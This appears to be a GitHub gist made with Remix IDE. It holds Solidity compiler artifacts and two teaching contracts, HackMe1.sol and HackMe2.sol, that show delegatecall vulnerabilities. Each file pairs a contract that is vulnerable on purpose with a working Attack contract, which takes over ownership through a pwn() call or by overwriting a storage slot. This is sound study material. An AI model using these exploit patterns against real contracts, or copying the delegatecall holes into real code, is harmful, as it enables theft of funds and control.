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vyorkin/contracts...HackMe1.sol

Created March 8, 2022 07:47
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
Raw
contracts...artifacts...Attack.json
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"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_HackMe_$52(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_HackMe_$52(value) {\n if iszero(eq(value, cleanup_t_contract$_HackMe_$52(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_HackMe_$52_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_HackMe_$52(value)\n }\n\n function abi_decode_tuple_t_contract$_HackMe_$52_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_HackMe_$52_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
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Raw
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Raw
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},
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},
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],
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]
}
Raw
contracts...artifacts...HackMe_metadata.json
{
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},
"language": "Solidity",
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{
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],
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},
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}
},
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},
"evmVersion": "london",
"libraries": {},
"metadata": {
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},
"optimizer": {
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"runs": 200
},
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},
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]
}
},
"version": 1
}
Raw
contracts...artifacts...Lib.json
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},
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},
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}
Raw
contracts...artifacts...Lib_metadata.json
{
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},
"language": "Solidity",
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],
"devdoc": {
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"version": 1
},
"userdoc": {
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"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
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},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
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"runs": 200
},
"remappings": []
},
"sources": {
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}
},
"version": 1
}
Raw
contracts...HackMe1.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Lib {
address public owner;
function pwn() public {
owner = msg.sender;
}
}
contract HackMe {
address public owner;
Lib public lib;
constructor(Lib _lib) {
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable {
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
Raw
contracts...HackMe2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
contract Attack {
// Make sure the storage layout is the same as HackMe
// This will allow us to correctly update the state variables
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
// override address of lib
hackMe.doSomething(uint(uint160(address(this))));
// pass any number as input, the function doSomething() below will
// be called
hackMe.doSomething(1);
}
// function signature must match HackMe.doSomething()
function doSomething(uint _num) public {
owner = msg.sender;
}
}
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